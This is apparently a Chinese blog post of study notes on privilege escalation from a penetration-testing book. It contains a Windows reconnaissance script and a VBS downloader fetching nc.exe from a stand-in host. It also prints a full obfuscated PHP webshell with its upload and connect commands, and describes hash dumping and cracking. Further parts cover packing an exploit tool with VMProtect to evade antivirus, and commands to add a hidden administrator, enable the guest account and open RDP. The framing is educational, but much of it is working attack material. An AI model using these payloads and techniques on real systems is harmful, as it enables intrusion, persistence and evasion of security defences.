前言

提权是一个令人着迷的环节。它表面看来已经高度自动化,但每一项提权技能背后对应的计算机基础知识都更为重要。修学储能,先博后渊。后期要深入,不要只停留于表面。

提权概述

准备工作

利用WebShell或低权限shell收集信息

@echo off

echo ### system info collection

systeminfo
ver
hostname
net user
net localgroup
net localgroup administrators
net user guest
net user administrator

echo ### at- with atq

schtasks /query
echo

echo ### task list

tasklist /svc
echo

echo ### network info

ipconfig /all
route print
arp -a
netstat -an
ipconfig /displaydns
echo

echo ### service

sc query type= service state= all

echo ### file
cd \
tree -F

漏洞补丁情况收集

systeminfo > C:\Windows\Temp\temp.txt & (for %i in (KB977165 KB970483 KB3057191 ...) do @type C:\Windows\Temp\temp.txt | @find /i "%i" || @echo %i Not installed!) & del /f /q /a C:\Windows\Temp\temp.txt

上述脚本不难理解,其实就是在系统信息中查找什么补丁没有安装。举例来说,从某Windows 10系统上执行systeminfo后截取补丁信息如下:

修补程序:         安装了 5 个修补程序。
                  [01]: KB4058043
                  [02]: KB4074595
                  [03]: KB4087256
                  [04]: KB4090914
                  [05]: KB4088776

更多的提权漏洞信息,可以参考Github项目:

相关的漏洞与补丁对应关系的信息从网上也可以找到很多(而且是随时间更新的)。

关于Windows漏洞补丁信息,有博客可供参考:

提权

上传或下载程序

Linux可以通过wget下载,Windows上可以通过脚本下载,如vbs

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))

Set xPost = CreateObject("Microsoft.XMLHTTP") ' HTTP Object
xPost.Open "GET", iRemote, 0
xPost.Send()

Set sGet = CreateObject("ADODB.Stream") ' ADO Object
sGet.Mode = 3 ' read & write mode
sGet.Type = 1 ' binary
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal, 2
cscript down.vbs http://example.com/nc.exe c:\nc.exe

当然,你可以借助echo在命令行中完成以上操作。

另外,也可以使用bitsadmin,但是我测试的XP上没有这个工具。也可以借助FTP

Windows账号密码获取与破解

这里就是用“Hash获取程序”获得Hash(如GetHashes,注意此时需要有System权限),再通过Hash破解程序破解(如LC5 (L0phtcrack)、Ophcrack)。SAMInside是一个整合了各种功能的程序。

还有gsecdumpPwDump也可以尝试。

参考这篇文章,不少工具可能已经失效。

http://ophcrack.sourceforge.net/tables.php 提供一些彩虹表下载。Ophcrack可以导入彩虹表破解。

John the Ripper用来破解Linux密码。

http://wiki.skullsecurity.org/Passwords 提供一些字典。不过或许根据社工针对性地生成字典效果更好。

Linux Exploit Suggester

该脚本似乎最初来自:

https://github.com/InteliSecureLabs/Linux_Exploit_Suggester

但它似乎很久没有更新过了。有人基于此给出了:

https://github.com/mzet-/linux-exploit-suggester

上面这个脚本功能很强大。

列两张测试截图,更多选项可以参考README.md

可以看到,它还给出了Exp的下载地址,太方便了。将来可以读一下这个脚本的源码(我保存了一份在Linux Exploit Suggester)。

也有人开发出了能够搜索在线数据库的程序,但这个程序依赖于apt-get。所以在OSX下需要用到Docker

https://github.com/1N3/Findsploit

Windows Exploit Suggester

It was heavily inspired by Linux_Exploit_Suggester by Pentura.

有人根据Linux脚本的启示开发了Windows平台的工具:

https://github.com/GDSSecurity/Windows-Exploit-Suggester

我保存了一份源码在Windows Exploit Suggester。它依赖于systeminfo,所以它的原理估计和上面我们自己写出的命令行脚本差不多。

测试一下:

首先在Windows 10上执行

systeminfo > systeminfo.txt

然后把它导出。接着clone下来脚本,更新一下漏洞信息并安装xls解析库:

python2 ./windows-exploit-suggester.py --update
sudo pip install xlrd

然后就开动了:

python2 ./windows-exploit-suggester.py --database ./2018-05-08-mssb.xls --systeminfo ./systeminfo.txt

PHP WeBaCoo后门

地址在这里。同样保存了一份在WeBacoo

WeBaCoo有Generation和Terminal两种模式。使用方法为:

使用Generation模式生成PHP后门 -> 上传到Web服务器相应目录 -> 使用Terminal模式连接后门

参考这篇Blog,测试一下功能:

生成:

./webacoo.pl -g -o wbc.php

生成的代码如下:

<?php $b=strrev("edoced_4"."6esab");eval($b(str_replace(" ","","a W Y o a X N z Z X Q o J F 9 D T 0 9 L S U V b J 2 N t J 1 0 p K X t v Y l 9 z d G F y d C g p O 3 N 5 c 3 R l b S h i Y X N l N j R f Z G V j b 2 R l K C R f Q 0 9 P S 0 l F W y d j b S d d K S 4 n I D I + J j E n K T t z Z X R j b 2 9 r a W U o J F 9 D T 0 9 L S U V b J 2 N u J 1 0 s J F 9 D T 0 9 L S U V b J 2 N w J 1 0 u Y m F z Z T Y 0 X 2 V u Y 2 9 k Z S h v Y l 9 n Z X R f Y 2 9 u d G V u d H M o K S k u J F 9 D T 0 9 L S U V b J 2 N w J 1 0 p O 2 9 i X 2 V u Z F 9 j b G V h b i g p O 3 0 = "))); ?>

上传(这里其实也可以在靶机中下载,怎么方便怎么来):

scp wbc.php msfadmin@172.16.56.130:/home/msfadmin/

注意,需要在靶机上用sudo把后门放入Web根目录。这一步说明,在实际的渗透过程中,我们最开始需要先取得一些进展,才能够上传所谓的“大马”。

连接:

./webacoo.pl -t -u http://172.16.56.130/wbc.php

上面那篇文章还提到了另一个后门Weevely,功能类似。据说Kali提供这两款后门程序。

对提权工具PR的免杀

参考这篇文章,理一下关系:

Exp事实上只有两个,即

Chimichurri: exploits MS09-012 on Windows Vista, Windows 7 and Windows 2008 Churraskito: exploits MS10-059 on Windows XP and Windows 2003 all versions

根据它们制作的工具则分别是:

Chimichurri&Churraskito

  • Churrasco: Elevation of privileges PoC exploit for Token Kidnapping on Windows 2003
  • Churrasco2: Elevation of privileges PoC exploit for Token Kidnapping on Windows 2008
  • PR

似乎是在Defcon 18上发布的,Github仓库为:

Churrasco: https://github.com/Re4son/Churrasco Churraskito: https://github.com/Re4son/Churraskito Chimichurri: https://github.com/Re4son/Chimichurri

VMP

吾爱论坛下载VMProtect Ultimate 3.0.9

接着,我们在VirSCAN测试:

pr.exe的查杀结果:

Scanner results:60%Scanner(s) (24/40)found malware!

加壳后查杀结果:

Scanner results:22%Scanner(s) (9/40)found malware!

VirusTotal测试:

pr.exe的查杀结果:

加壳后查杀结果:

再次尝试

pr.exe修改文件中字符串从而修改MD5,再使用

添加其自带的QQ数字签名,查杀结果如下:

可以发现没多大变化。

在此基础上,对其进行VMP加壳,查杀结果如下:

这说明,最基本的更改MD5和那个自动添加的数字签名没有起到多大效果,真正起作用的还是VMP壳。

特征码定位免杀

可以参考下“MyCCL特征码定位原理学习”这篇文章。

个人感觉免杀越来越难做。针对具体文件的免杀或许是能够做到的,但在“主动防御”面前似乎没多大用处。杀毒软件能够允许程序运行,但在敏感操作前把它拦截下来,还是达不到效果。

LCX

参考下“Lcx的多种用法:3个功能+9个参数,你会怎么玩?”这篇文章,作者很认真,读了他的文章我已经能够体会到他对渗透测试的热爱,我甚至能够感受到自己面对LCX构建多级跳板时的快乐。

不过LCX只能在Windows上运行(不知道Linux配合Wine可不可以),所以目前来看至少Attacker要有一台Win VM。

这篇文章描述了一个使用LCX实战的过程。

SocksCap

打开其官方主页首先发现:

本书作者的思路是把SocksCap搭建在肉鸡上,从而进入内网。

Windows提权基础命令

netstat查看网络连接信息。

net start NAME开启服务,省略NAME时查看系统开启的所有服务,net stop NAME停止某个服务。

tasklist查看进程。

msinfo32可以给出更为详细的信息。

添加管理员:

net user temp password /add
net Localgroup Administrators temp /add

加入远程桌面用户组:

net Localgroup "Remote Desktop Users" temp /add

查看管理员:

net Localgroup Administrators

查看用户:

net user temp

激活来宾用户并修改密码:

net user guest /active:yes
net user guest 1234

开启3389端口:

wmic /namespace:\root\cimv2\terminalservices path
win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1

wmic /namespace:\root\cimv2\terminalservices path
win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call
setuserauthenticationrequired 1

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
  • 针对win XP及win2003只需要第3条命令
  • 针对win 7需要第1,2条命令
  • 针对win 2012需要3条命令

章末总结

一开始,我在网上的各种博客中能够发现有大段的文字与本书内容完全一样,也就能大致估计出本书的认真程度了。不过一码归一码,我还是从第一章中了解到了不少渗透的技巧。所谓“守正出奇”,所以千万不可鄙视各种技巧,或工具。我们要达到的高度,只是说,要在了解工具、技巧之后深入研究其原理,知其然并知其所以然,这是我们能够提升自我的部分,而不是对所谓“脚本小子”的东西鄙而不用,这恰恰显示自己的愚蠢。渗透,本身就是一个黑猫白猫的问题。